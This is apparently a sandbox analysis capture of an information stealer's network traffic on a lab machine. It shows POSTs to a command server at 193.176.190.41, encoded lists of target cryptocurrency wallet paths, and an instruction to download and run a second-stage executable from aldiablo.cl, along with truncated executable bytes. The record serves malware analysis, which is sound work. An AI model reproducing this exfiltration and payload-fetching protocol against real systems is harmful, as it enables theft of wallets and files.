cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Aug 30, 2024 18:13:05.750793934 CEST	98	OUT	GET /9e7fbd3f0393ef32/vcruntime140.dll HTTP/1.1 Host: 193.176.190.41 Cache-Control: no-cache
Aug 30, 2024 18:13:05.924770117 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:13:05 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Aug 30, 2024 18:13:06.079824924 CEST	202	OUT	POST /2fa883eebd632382.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAEHJJECAEGCAAAAEGI Host: 193.176.190.41 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 18:13:06.396629095 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:13:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 18:13:06.425184965 CEST	468	OUT	POST /2fa883eebd632382.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJKJJDHCGCAECAAECFH Host: 193.176.190.41 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4b 4a 4a 44 48 43 47 43 41 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 33 37 64 31 32 39 32 36 37 30 31 65 62 66 66 34 62 63 31 65 38 65 39 39 36 64 35 61 39 32 31 37 34 36 61 32 39 39 64 39 34 65 35 66 33 33 39 36 33 61 32 61 61 36 33 39 38 33 62 36 66 65 64 66 34 39 35 63 39 33 33 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4b 4a 4a 44 48 43 47 43 41 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4b 4a 4a 44 48 43 47 43 41 45 43 41 41 45 43 46 48 2d 2d 0d 0a Data Ascii: ------HJJKJJDHCGCAECAAECFHContent-Disposition: form-data; name="token"137d12926701ebff4bc1e8e996d5a921746a299d94e5f33963a2aa63983b6fedf495c933------HJJKJJDHCGCAECAAECFHContent-Disposition: form-data; name="message"wallets------HJJKJJDHCGCAECAAECFH--
Aug 30, 2024 18:13:06.612317085 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:13:06 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Aug 30, 2024 18:13:06.614516973 CEST	466	OUT	POST /2fa883eebd632382.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGHIIJDGHCBFIECBKEGH Host: 193.176.190.41 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 33 37 64 31 32 39 32 36 37 30 31 65 62 66 66 34 62 63 31 65 38 65 39 39 36 64 35 61 39 32 31 37 34 36 61 32 39 39 64 39 34 65 35 66 33 33 39 36 33 61 32 61 61 36 33 39 38 33 62 36 66 65 64 66 34 39 35 63 39 33 33 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 2d 2d 0d 0a Data Ascii: ------BGHIIJDGHCBFIECBKEGHContent-Disposition: form-data; name="token"137d12926701ebff4bc1e8e996d5a921746a299d94e5f33963a2aa63983b6fedf495c933------BGHIIJDGHCBFIECBKEGHContent-Disposition: form-data; name="message"files------BGHIIJDGHCBFIECBKEGH--
Aug 30, 2024 18:13:06.811753988 CEST	302	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:13:06 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 76 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4b 69 35 30 65 48 52 38 4a 55 52 46 55 30 74 55 54 31 41 6c 58 48 78 38 4e 54 42 38 4d 58 77 77 66 44 42 38 4b 69 35 30 65 48 52 38 4a 55 52 50 51 31 56 4e 52 55 35 55 55 79 56 63 66 48 77 31 4d 48 77 78 66 44 42 38 4d 48 77 3d Data Ascii: Ki50eHR8JURFU0tUT1AlXHx8NTB8MXwwfDB8Ki50eHR8JURPQ1VNRU5UUyVcfHw1MHwxfDB8MHw=
Aug 30, 2024 18:13:06.849605083 CEST	204	OUT	POST /2fa883eebd632382.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGHJKFHJJJKJJJJKEHCB Host: 193.176.190.41 Content-Length: 127803 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 18:13:07.265263081 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:13:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 18:13:07.268533945 CEST	473	OUT	POST /2fa883eebd632382.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHIDHCAAKECGCBFIJDB Host: 193.176.190.41 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 49 44 48 43 41 41 4b 45 43 47 43 42 46 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 33 37 64 31 32 39 32 36 37 30 31 65 62 66 66 34 62 63 31 65 38 65 39 39 36 64 35 61 39 32 31 37 34 36 61 32 39 39 64 39 34 65 35 66 33 33 39 36 33 61 32 61 61 36 33 39 38 33 62 36 66 65 64 66 34 39 35 63 39 33 33 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 44 48 43 41 41 4b 45 43 47 43 42 46 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 44 48 43 41 41 4b 45 43 47 43 42 46 49 4a 44 42 2d 2d 0d 0a Data Ascii: ------DGHIDHCAAKECGCBFIJDBContent-Disposition: form-data; name="token"137d12926701ebff4bc1e8e996d5a921746a299d94e5f33963a2aa63983b6fedf495c933------DGHIDHCAAKECGCBFIJDBContent-Disposition: form-data; name="message"ybncbhylepme------DGHIDHCAAKECGCBFIJDB--
Aug 30, 2024 18:13:07.446635008 CEST	263	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:13:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 60 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 48 4d 36 4c 79 39 68 62 47 52 70 59 57 4a 73 62 79 35 6a 62 43 39 72 59 58 4a 31 4c 32 77 79 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4d 48 77 3d Data Ascii: aHR0cHM6Ly9hbGRpYWJsby5jbC9rYXJ1L2wyLmV4ZXwwfDB8U3RhcnR8MHw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49742	193.176.190.41	80	7488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 18:14:07.145020962 CEST	473	OUT	POST /2fa883eebd632382.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJKJJDBKEGIECAAECFH Host: 193.176.190.41 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4a 4a 44 42 4b 45 47 49 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 33 37 64 31 32 39 32 36 37 30 31 65 62 66 66 34 62 63 31 65 38 65 39 39 36 64 35 61 39 32 31 37 34 36 61 32 39 39 64 39 34 65 35 66 33 33 39 36 33 61 32 61 61 36 33 39 38 33 62 36 66 65 64 66 34 39 35 63 39 33 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4a 4a 44 42 4b 45 47 49 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4a 4a 44 42 4b 45 47 49 45 43 41 41 45 43 46 48 2d 2d 0d 0a Data Ascii: ------JKJKJJDBKEGIECAAECFHContent-Disposition: form-data; name="token"137d12926701ebff4bc1e8e996d5a921746a299d94e5f33963a2aa63983b6fedf495c933------JKJKJJDBKEGIECAAECFHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JKJKJJDBKEGIECAAECFH--
Aug 30, 2024 18:14:07.939099073 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:14:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49734	186.64.114.115	443	7488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-30 16:13:08 UTC	73	OUT	GET /karu/l2.exe HTTP/1.1 Host: aldiablo.cl Cache-Control: no-cache
2024-08-30 16:13:09 UTC	456	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:13:10 GMT Server: Apache Strict-Transport-Security: max-age=63072000; includeSubdomains; Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Sat, 03 Aug 2024 15:15:44 GMT ETag: "3a22c81-45a2b8-61ec8eaf44211" Accept-Ranges: bytes Content-Length: 4563640 Cache-Control: max-age=2592000, public Expires: Sun, 29 Sep 2024 16:13:10 GMT Vary: Accept-Encoding Content-Type: application/x-msdownload
2024-08-30 16:13:09 UTC	7736	IN	Data Raw: 4d 5a 40 00 01 00 00 00 02 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 57 69 6e 33 32 20 2e 45 58 45 2e 0d 0a 24 40 00 00 00 50 45 00 00 4c 01 03 00 a9 4d d8 61 00 00 00 00 00 00 00 00 e0 00 02 03 0b 01 0e 1d 00 18 00 00 00 5e 19 00 00 00 00 00 c8 80 77 00 00 10 00 00 00 30 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 7d 00 00 02 00 00 6d 1a 46 00 02 00 00 85 00 00 10 00 00 d0 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 80 77 00 c8 00 00 00 00 90 77 00 7c f6 05 00 00 00 00 00 00 00 00 00 00 8a 45 00 b8 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!Win32 .EXE.$@PELMa^w0@}mFww\|E
2024-08-30 16:13:09 UTC	8000	IN	Data Raw: a4 ac 1b 46 68 79 dd d5 86 41 51 e0 97 81 58 a1 dd f4 c0 d0 d3 fe 83 e3 c1 cb a4 bd 47 bc e6 ae 4c 10 3b a2 7e 6b 5e 5e e9 fc f7 1f 46 ed aa da cc b5 23 86 64 ff e4 c1 7f 7e 08 29 67 d2 8c 30 84 21 45 a4 ec 13 51 12 ca 1e 0b a2 8c 3a 28 66 06 9d f7 34 56 5e 2d af b8 cf a0 3f fe bb d2 1f aa a5 ee 1a a1 90 9b 38 fc 9f 58 31 9e 4b b1 97 16 46 bb d5 2a 2e 5f 42 ce f5 11 b7 7a 49 92 fb fb 6a 11 81 26 60 8e 23 c4 40 5b e6 5b 00 05 00 bb b0 2e 04 75 60 ce 80 80 aa 5c 84 1f eb 87 5c 97 f9 21 31 ed 72 46 ed 9c 63 b5 5c 75 31 36 a6 90 4e 47 8c 1b 4d fe b3 ed 82 4d e9 84 4c df e8 19 0b ec 82 4f 6c 17 e2 d6 96 4d 04 74 37 23 00 5b 1e d1 3f 69 1c 88 64 5d 26 5c e7 a6 31 84 49 8d 1c 72 55 2c 80 f6 a9 d3 69 8e f6 f2 e9 37 10 86 82 17 21 99 e7 56 50 85 01 7b 7f f7 5e 41 Data Ascii: FhyAQXGL;~k^^F#d~)g0!EQ:(f4V^-?8X1KF*._BzIj&`#@[[.u`\\!1rFc\u16NGMMLOlMt7#[?id]&\1IrU,i7!VP{^A
2024-08-30 16:13:09 UTC	8000	IN	Data Raw: 67 43 4d b1 e2 21 bb 84 b6 2f 39 c1 86 e5 a9 11 2d af 5e e5 2b c9 cd d1 3b 9b 6f 87 1a c3 9e a0 77 d0 4b ba 06 89 25 f4 c4 c8 7a 5f 47 ed fe fe 4f ab 77 c3 a6 4a ce af 41 67 05 4f c0 ac 96 36 30 4d e2 62 99 61 6e a0 1d c4 ad 62 82 4b 92 f5 ef f0 86 b7 28 98 d3 03 ce 23 5b 68 4b b2 c3 4c 40 f4 00 b9 80 0e 1a 95 d1 ae 3b e7 9d 13 b6 46 86 fe 58 8d 8e 27 a1 bc 34 4b d1 fc dc d4 3e 68 3d ae 15 a8 6d 41 3c 45 d3 2e 44 e2 06 ca 35 37 4d fb c3 bf d9 8a 32 50 ad ff 4d f5 1c 35 e6 5f 75 46 92 1c 10 25 66 2e 5c 93 36 b4 70 11 22 35 c8 f2 87 66 0e 32 05 a6 14 e6 f1 e9 97 b8 51 7b c9 b2 5c 4d 07 62 60 ee fe 58 48 77 39 ae ad d2 1b 80 6b 5b 73 d3 9f b0 1c 0d 72 74 31 74 6e 38 41 7c bd d5 e7 31 47 91 ac 8b 4e c7 de e1 85 32 9d 86 5b 9c 8e 75 4d bd c7 6a ba 5c c7 10 a7 Data Ascii: gCM!/9-^+;owK%z_GOwJAgO60MbanbK(#[hKL@;FX'4K>h=mA<E.D57M2PM5_uF%f.\6p"5f2Q{\Mb`XHw9k[srt1tn8A\|1GN2[uMj\
2024-08-30 16:13:09 UTC	8000	IN	Data Raw: 3f af 7d 20 02 c7 f5 77 8d 29 8f cd e2 4d 67 f7 c4 31 75 3e 8e 0e e3 87 c2 74 fb e0 ed 9e 08 46 b0 88 36 80 d4 9b fd 21 bc f5 b3 60 41 10 0a 9e ad b1 a1 ed fe 23 0f 0b f1 76 64 de f6 d3 57 02 f5 ac c1 6a e5 9c f2 e0 a7 60 08 d8 c7 51 17 c1 e4 1b 9f 86 0f 00 c8 1a b5 69 2d ae 13 9f 90 53 83 aa 9b 25 7b a3 85 a3 fb f3 b1 8f 05 f5 a9 a0 47 7b 23 48 34 d3 76 1a 08 cb ad 2d 78 94 ba 29 5c 44 82 73 45 06 ba 12 46 94 4c 76 44 a8 6b 77 7f ef 43 e8 ab 26 44 0b c9 28 58 ec 7a cd b0 8d c6 ec 23 83 6a 36 8c 4d 23 d3 f8 07 46 3c ba 76 33 ce 86 52 a9 07 96 ca 89 01 4c f6 e8 1b b9 4c 1a 39 b2 0e af 28 d0 5e 5c 3f af 53 41 95 76 e6 5a 9b 9d 92 9f fd 46 f1 6f 24 3a 87 da 16 35 72 34 7a 01 e4 12 6f 4a 95 49 6d 69 4f 7a 79 7b c7 d3 bf 19 4b 9a 32 71 db 32 e2 f3 e5 9a 37 2a Data Ascii: ?} w)Mg1u>tF6!`A#vdWj`Qi-S%{G{#H4v-x)\DsEFLvDkwC&D(Xz#j6M#F<v3RLL9(^\?SAvZFo$:5r4zoJImiOzy{K2q27*
2024-08-30 16:13:09 UTC	8000	IN	Data Raw: 1a 91 f2 8a 42 60 6f 01 9e e4 20 9e 3e 31 28 d1 22 90 85 2e 70 90 f0 98 b8 78 d6 c5 ae a7 b8 ab 49 f5 ec 56 69 a3 c9 89 54 b6 c9 49 fd a4 18 06 e9 99 83 d2 4a 31 63 1a 33 4c 20 22 f7 94 3a 59 b9 89 4a 52 30 63 a6 4f 47 08 22 53 f1 11 5c 14 36 ba 57 93 6e 0b 35 21 b8 24 1c 31 61 94 9e 07 43 dc f3 82 2d cf 04 d0 7c 26 37 26 e0 1a b7 76 12 83 30 6d d7 5e 16 77 e2 be 15 65 d0 3b f9 4b 34 d0 ef 9b 79 a7 38 98 7a 32 32 dc 4c fe 62 85 d8 d0 03 e7 ab 68 c9 63 f4 ae 4b 13 af f9 84 58 28 45 1d 72 4b 39 46 7e 93 20 cf bf fc ae aa 86 54 14 ed 83 64 1e 18 e3 5b e8 04 e9 0b f1 0c be 7a 78 d2 99 f1 80 31 b6 19 02 20 93 a1 5c 80 ed 6c 45 b6 2f 65 87 95 1e 2e 20 46 21 53 39 46 ac 45 cf cc d9 3a 22 f9 13 42 ac 1a ab 09 b8 68 4c cd 4e 56 6f 44 c2 2b dc e9 c6 ec 74 e3 cd 7e Data Ascii: B`o >1(".pxIViTIJ1c3L ":YJR0cOG"S\6Wn5!$1aC-\|&7&v0m^we;K4y8z22LbhcKX(ErK9F~ Td[zx1 \lE/e. F!S9FE:"BhLNVoD+t~
2024-08-30 16:13:09 UTC	8000	IN	Data Raw: 14 72 76 0b 0f dd ea 3c af d4 6b 9d 2f 94 b9 8c ad b8 40 61 b5 90 20 22 a2 86 e7 0f d8 7f 4e e8 4a 3a eb 3f 4c 17 de 13 4c 0f 3f 8d d8 89 c6 1c 62 b1 4c 58 7f a7 cd f8 61 42 3b 8d ae ef 5d ff cc 7d a1 e3 92 48 7e ef ba 81 67 57 72 66 8d 25 45 1b 41 7a 34 24 b3 c9 c8 4b 6f 25 7b c3 d4 24 26 03 84 67 df 1b fa 5a d0 0e a7 56 81 e9 d2 15 4e d7 54 dd be a3 0f 00 2c 48 71 db dc cd 1f 80 ad 1f 30 c5 9e 4d 12 c9 32 3e 26 33 f7 ea 2b ea a8 9c 0e bd 68 2e 65 e8 87 f2 1f a7 23 ab 58 27 17 7e 4d ee 6b fc ed 8d 9c 4e a2 ad 44 be a2 da c3 58 fc 3f 14 b6 94 6c 2d 00 48 b5 9f d3 6f 3a bf 3b d1 f0 37 20 7b db d0 24 d1 79 58 f4 6f f5 62 1e 07 0e 66 61 f6 ff 16 f2 14 71 ae df 88 21 2e 23 0d 72 c2 ff 23 e0 e2 c0 a4 37 65 5d 79 18 60 54 cb 41 f8 dd 39 b5 0e f3 f6 13 13 ff c4 Data Ascii: rv<k/@a "NJ:?LL?bLXaB;]}H~gWrf%EAz4$Ko%{$&gZVNT,Hq0M2>&3+h.e#X'~MkNDX?l-Ho:;7 {$yXobfaq!.#r#7e]y`TA9
2024-08-30 16:13:09 UTC	8000	IN	Data Raw: 06 d5 bb 1e dc f7 05 db 4e ec a7 19 7a b2 83 f8 ce 5d b5 dc 32 d5 c8 90 6b ef 5e a0 da c8 1e dc 19 d4 fc be 86 9b 76 50 20 90 9c ca 09 8e 87 68 c9 a8 15 9b 3e 65 89 dc ca 4a 61 ae 07 c1 bd 7e c9 e7 e8 1b 42 93 ca 45 3d 01 76 7e 7b c7 1a 68 5b 03 b5 37 d8 5f b3 9c 61 9a 37 60 d7 79 9a f8 8c ec a3 f9 30 23 c4 7d 4e d6 5f df 42 01 9b cd 4a dd f4 92 68 84 25 93 80 ac e2 f0 49 36 60 f0 4d 13 92 09 20 12 46 65 79 d7 8a 28 98 53 a5 fd 2b 03 bc 85 33 ae cc e3 9b a6 51 b0 3f 5e eb 88 27 f5 14 8c 36 40 ef 0a cc c5 26 2d ec fc ef 7e ad e9 79 2d c6 4b 38 f3 7d 5d 70 00 d5 09 09 79 0f 5a 6b 64 30 48 89 da ba b8 12 01 4b da a0 3b 91 43 34 dd 73 87 ad 53 d6 76 e1 9d 3a 9c 6f 56 07 32 fe 7f f9 7d 50 ae c2 d8 ee e3 54 fc 97 90 4b 3d ce 7a 68 c1 62 78 f9 77 46 e6 f9 a3 aa Data Ascii: Nz]2k^vP h>eJa~BE=v~{h[7_a7`y0#}N_BJh%I6`M Fey(S+3Q?^'6@&-~y-K8}]pyZkd0HK;C4sSv:oV2}PTK=zhbxwF
2024-08-30 16:13:09 UTC	8000	IN	Data Raw: 03 56 01 ab 2c f7 db 21 b5 47 40 e8 a7 4b 0a c9 38 9d 29 5c e4 23 6f a2 c5 c7 2c 67 a3 51 47 c6 d9 3b 7e a3 e0 7e fd 3a 55 3f 9c ec 43 84 60 55 73 8d fd f8 5b b8 29 f9 74 f7 8a d4 50 05 10 47 68 bd fb f5 ae e2 26 e6 49 0c 90 c3 33 ad 75 23 34 c0 5b 34 fa 27 05 92 34 cd ef 6f 7d 2e 2f f3 03 ad 0e 0d 68 20 59 3f bb 54 3a 4b 18 c9 cf 61 b9 23 5f c5 fe 27 05 c0 30 1a 2e 4e a1 ca cf 24 58 67 7b 71 55 1e aa 92 38 68 c2 c5 66 41 f0 7b e3 f3 da 83 54 4d 7a 63 cd 40 f2 fb 66 61 e2 3d 40 84 9b 27 6a 42 06 80 a4 ac 25 03 26 18 e7 22 ff c4 83 98 f8 db cc 02 4e d1 c8 c8 0d e8 6a 6c 4a b4 d8 3c bd 41 9b f1 92 ee 21 7b 2c cb f8 a9 c7 2e e2 aa 67 05 cf b4 6e ea 55 0d 48 ef ba e8 ef f1 6d df 98 db ca 1c c0 3f b7 ab d7 b6 